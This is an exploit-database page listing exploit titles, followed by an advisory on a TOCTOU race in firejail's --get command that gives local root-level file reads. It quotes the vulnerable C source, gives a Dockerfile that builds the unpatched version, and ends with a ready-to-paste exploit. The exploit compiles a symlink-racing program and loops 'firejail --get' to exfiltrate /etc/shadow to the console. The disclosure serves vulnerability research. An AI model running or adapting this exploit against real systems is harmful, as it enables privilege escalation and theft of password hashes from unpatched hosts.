
16 new exploits VMware 2.5.1 - (VMware-authd) Remote Denial of Service VMware 2.5.1 - 'VMware-authd' Remote Denial of Service Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (2) Boxoft Wav 1.0 - Buffer Overflow VideoLAN VLC Media Player 2.2.1 - 'DecodeAdpcmImaQT' Buffer Overflow EleCard MPEG PLAYER - '.m3u' Local Stack Overflow Elecard MPEG Player - '.m3u' Local Stack Overflow Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (1) Boxoft WAV to MP3 Converter - convert Feature Buffer Overflow Boxoft WAV to MP3 Converter - 'convert' Buffer Overflow Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2) Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) Cemu 1.6.4b - Information Leak + Buffer Overflow (Emulator Breakout) Firejail - Privilege Escalation McAfee Virus Scan Enterprise for Linux - Remote Code Execution McAfee Virus Scan Enterprise for Linux 1.9.2 < 2.0.2 - Remote Code Execution Ansible 2.1.4 / 2.2.1 - Command Execution Eggblog < 3.07 - Remote SQL Injection / Privilege Escalation EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation PowerClan 1.14a - (footer.inc.php) Remote File Inclusion PowerClan 1.14a - 'footer.inc.php' Remote File Inclusion Eggblog 3.1.0 - Cookies SQL Injection EggBlog 3.1.0 - Cookies SQL Injection eggBlog 4.0 - SQL Injection EggBlog 4.0 - SQL Injection 2Capsule - 'sticker.php id' SQL Injection 2Capsule - SQL Injection ASPThai.Net WebBoard 6.0 - (bview.asp) SQL Injection ASPThai.Net WebBoard 6.0 - SQL Injection Memberkit 1.0 - Remote Arbitrary .PHP File Upload phpScribe 0.9 - (user.cfg) Remote Config Disclosure Memberkit 1.0 - Arbitrary File Upload phpScribe 0.9 - 'user.cfg' Remote Config Disclosure PowerClan 1.14a - (Authentication Bypass) SQL Injection PowerClan 1.14a - Authentication Bypass Webspell 4 - (Authentication Bypass) SQL Injection webSPELL 4 - Authentication Bypass eggBlog 4.1.1 - Local Directory Traversal EggBlog 4.1.1 - Local Directory Traversal Travel Portal Script Admin Password Change - Cross-Site Request Forgery Travel Portal Script - Cross-Site Request Forgery (Admin Password Change) eggBlog 4.1.2 - Arbitrary File Upload EggBlog 4.1.2 - Arbitrary File Upload Eggblog 2.0 - blog.php id Parameter SQL Injection Eggblog 2.0 - topic.php message Parameter Cross-Site Scripting EggBlog 2.0 - 'id' Parameter SQL Injection EggBlog 2.0 - 'message' Parameter Cross-Site Scripting PowerClan 1.14 - member.php SQL Injection PowerClan 1.14 - 'member.php' SQL Injection SoftBizScripts Dating Script 1.0 - featured_photos.php browse Parameter SQL Injection SoftBizScripts Dating Script 1.0 - products.php cid Parameter SQL Injection SoftBizScripts Dating Script 1.0 - 'index.php' cid Parameter SQL Injection SoftBizScripts Dating Script 1.0 - news_desc.php id Parameter SQL Injection SoftBizScripts Dating Script 1.0 - 'featured_photos.php' SQL Injection SoftBizScripts Dating Script 1.0 - 'products.php' SQL Injection SoftBizScripts Dating Script 1.0 - 'index.php' SQL Injection SoftBizScripts Dating Script 1.0 - 'news_desc.php' SQL Injection Dating Script 3.25 - SQL Injection Starting Page 1.3 - SQL Injection Starting Page 1.3 - 'linkid' Parameter SQL Injection Starting Page 1.3 - 'category' Parameter SQL Injection My link trader 1.1 - 'id' Parameter SQL Injection Blackboard LMS 9.1 SP14 - Cross-Site Scripting Huawei Flybox B660 - Cross-Site Request Forgery Travel Portal Script 9.33 - SQL Injection Movie Portal Script 7.35 - SQL Injection
316 lines
No EOL
11 KiB
Text
Executable file
316 lines
No EOL
11 KiB
Text
Executable file
# firejail advisory for TOCTOU in --get and --put (local root)
|
|
|
|
Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.
|
|
|
|
## Vulnerability
|
|
|
|
This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).
|
|
|
|
### Code: src/firejail/ls.c
|
|
~~~~
|
|
void sandboxfs(int op, pid_t pid, const char *path) {
|
|
EUID_ASSERT();
|
|
|
|
// if the pid is that of a firejail process, use the pid of the first child process
|
|
EUID_ROOT();
|
|
char *comm = pid_proc_comm(pid);
|
|
EUID_USER();
|
|
if (comm) {
|
|
if (strcmp(comm, "firejail") == 0) {
|
|
pid_t child;
|
|
if (find_child(pid, &child) == 0) {
|
|
pid = child;
|
|
}
|
|
}
|
|
free(comm);
|
|
}
|
|
|
|
// check privileges for non-root users
|
|
uid_t uid = getuid();
|
|
if (uid != 0) {
|
|
uid_t sandbox_uid = pid_get_uid(pid);
|
|
if (uid != sandbox_uid) {
|
|
fprintf(stderr, "Error: permission denied.\n");
|
|
exit(1);
|
|
}
|
|
}
|
|
|
|
// full path or file in current directory?
|
|
char *fname;
|
|
if (*path == '/') {
|
|
fname = strdup(path);
|
|
if (!fname)
|
|
errExit("strdup");
|
|
}
|
|
else if (*path == '~') {
|
|
if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)
|
|
errExit("asprintf");
|
|
}
|
|
else {
|
|
fprintf(stderr, "Error: Cannot access %s\n", path);
|
|
exit(1);
|
|
}
|
|
|
|
// sandbox root directory
|
|
char *rootdir;
|
|
if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)
|
|
errExit("asprintf");
|
|
|
|
if (op == SANDBOX_FS_LS) {
|
|
EUID_ROOT();
|
|
// chroot
|
|
if (chroot(rootdir) < 0)
|
|
errExit("chroot");
|
|
if (chdir("/") < 0)
|
|
errExit("chdir");
|
|
|
|
// access chek is performed with the real UID
|
|
if (access(fname, R_OK) == -1) {
|
|
fprintf(stderr, "Error: Cannot access %s\n", fname);
|
|
exit(1);
|
|
}
|
|
|
|
// list directory contents
|
|
struct stat s;
|
|
if (stat(fname, &s) == -1) {
|
|
fprintf(stderr, "Error: Cannot access %s\n", fname);
|
|
exit(1);
|
|
}
|
|
if (S_ISDIR(s.st_mode)) {
|
|
char *rp = realpath(fname, NULL);
|
|
if (!rp) {
|
|
fprintf(stderr, "Error: Cannot access %s\n", fname);
|
|
exit(1);
|
|
}
|
|
if (arg_debug)
|
|
printf("realpath %s\n", rp);
|
|
|
|
char *dir;
|
|
if (asprintf(&dir, "%s/", rp) == -1)
|
|
errExit("asprintf");
|
|
|
|
print_directory(dir);
|
|
free(rp);
|
|
free(dir);
|
|
}
|
|
else {
|
|
char *rp = realpath(fname, NULL);
|
|
if (!rp) {
|
|
fprintf(stderr, "Error: Cannot access %s\n", fname);
|
|
exit(1);
|
|
}
|
|
if (arg_debug)
|
|
printf("realpath %s\n", rp);
|
|
char *split = strrchr(rp, '/');
|
|
if (split) {
|
|
*split = '\0';
|
|
char *rp2 = split + 1;
|
|
if (arg_debug)
|
|
printf("path %s, file %s\n", rp, rp2);
|
|
print_file_or_dir(rp, rp2, 1);
|
|
}
|
|
free(rp);
|
|
}
|
|
}
|
|
|
|
// get file from sandbox and store it in the current directory
|
|
else if (op == SANDBOX_FS_GET) {
|
|
// check source file (sandbox)
|
|
char *src_fname;
|
|
if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)
|
|
errExit("asprintf");
|
|
EUID_ROOT();
|
|
struct stat s;
|
|
if (stat(src_fname, &s) == -1) {
|
|
fprintf(stderr, "Error: Cannot access %s\n", fname);
|
|
exit(1);
|
|
}
|
|
|
|
|
|
// try to open the source file - we need to chroot
|
|
pid_t child = fork();
|
|
if (child < 0)
|
|
errExit("fork");
|
|
if (child == 0) {
|
|
// chroot
|
|
if (chroot(rootdir) < 0)
|
|
errExit("chroot");
|
|
if (chdir("/") < 0)
|
|
errExit("chdir");
|
|
|
|
// drop privileges
|
|
drop_privs(0);
|
|
|
|
// try to read the file
|
|
if (access(fname, R_OK) == -1) {
|
|
fprintf(stderr, "Error: Cannot read %s\n", fname);
|
|
exit(1);
|
|
}
|
|
exit(0);
|
|
}
|
|
|
|
// wait for the child to finish
|
|
int status = 0;
|
|
waitpid(child, &status, 0);
|
|
if (WIFEXITED(status) && WEXITSTATUS(status) == 0);
|
|
else
|
|
exit(1);
|
|
EUID_USER();
|
|
|
|
// check destination file (host)
|
|
char *dest_fname = strrchr(fname, '/');
|
|
if (!dest_fname || *(++dest_fname) == '\0') {
|
|
fprintf(stderr, "Error: invalid file name %s\n", fname);
|
|
exit(1);
|
|
}
|
|
|
|
if (access(dest_fname, F_OK) == -1) {
|
|
// try to create the file
|
|
FILE *fp = fopen(dest_fname, "w");
|
|
if (!fp) {
|
|
fprintf(stderr, "Error: cannot create %s\n", dest_fname);
|
|
exit(1);
|
|
}
|
|
fclose(fp);
|
|
}
|
|
else {
|
|
if (access(dest_fname, W_OK) == -1) {
|
|
fprintf(stderr, "Error: cannot write %s\n", dest_fname);
|
|
exit(1);
|
|
}
|
|
}
|
|
// copy file
|
|
EUID_ROOT();
|
|
copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);
|
|
printf("Transfer complete\n");
|
|
EUID_USER();
|
|
}
|
|
|
|
free(fname);
|
|
free(rootdir);
|
|
|
|
exit(0);
|
|
}
|
|
~~~~
|
|
|
|
|
|
|
|
### Code: src/firejail/util.c
|
|
~~~~
|
|
int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {
|
|
assert(srcname);
|
|
assert(destname);
|
|
|
|
// open source
|
|
int src = open(srcname, O_RDONLY);
|
|
if (src < 0) {
|
|
fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);
|
|
return -1;
|
|
}
|
|
|
|
// open destination
|
|
int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
|
if (dst < 0) {
|
|
fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);
|
|
close(src);
|
|
return -1;
|
|
}
|
|
|
|
// copy
|
|
ssize_t len;
|
|
static const int BUFLEN = 1024;
|
|
unsigned char buf[BUFLEN];
|
|
while ((len = read(src, buf, BUFLEN)) > 0) {
|
|
int done = 0;
|
|
while (done != len) {
|
|
int rv = write(dst, buf + done, len - done);
|
|
if (rv == -1) {
|
|
close(src);
|
|
close(dst);
|
|
return -1;
|
|
}
|
|
|
|
done += rv;
|
|
}
|
|
}
|
|
|
|
if (fchown(dst, uid, gid) == -1)
|
|
errExit("fchown");
|
|
if (fchmod(dst, mode) == -1)
|
|
errExit("fchmod");
|
|
|
|
close(src);
|
|
close(dst);
|
|
return 0;
|
|
}
|
|
</snip>
|
|
~~~~
|
|
|
|
## Testing
|
|
|
|
### Our Dockerfile
|
|
|
|
~~~~
|
|
FROM ubuntu:latest
|
|
|
|
ENV wdir /root/firejail
|
|
|
|
RUN apt-get update && apt-get install -y git gcc make
|
|
RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd
|
|
RUN git clone https://github.com/netblue30/firejail.git ${wdir}
|
|
WORKDIR ${wdir}
|
|
RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372
|
|
RUN ./configure && make && make install
|
|
~~~~
|
|
|
|
### Our exploit
|
|
|
|
This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:
|
|
|
|
~~~~
|
|
#dropper
|
|
cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF
|
|
mkdir -p /tmp/exploit
|
|
cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char *fl = "/etc/shadow";
|
|
|
|
if(argc > 1) {
|
|
fl = argv[1];
|
|
}
|
|
|
|
while(1) {
|
|
int fd = open("owned", O_CREAT | O_RDWR, 0777);
|
|
if(fd == -1) {
|
|
perror("open");
|
|
exit(1);
|
|
}
|
|
close(fd);
|
|
remove("owned");
|
|
symlink(fl, "owned");
|
|
remove("owned");
|
|
}
|
|
}
|
|
TOCTOU_POC_END
|
|
cd /tmp/exploit
|
|
gcc ./gaolbreak.c -o gaolbreak
|
|
# XXX: change argv[1] to whatever you want
|
|
./gaolbreak /etc/shadow
|
|
GUEST_JAIL_SCRIPT_EOF
|
|
|
|
# run the dropper (symlink attack) in a jail
|
|
chmod +x ./gexp.sh
|
|
firejail --noprofile --force --name=el ./gexp.sh &
|
|
|
|
# win race using the vulnerable 'firejail --get' command.
|
|
mkdir exploitel
|
|
cd exploitel
|
|
while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done
|
|
~~~~ |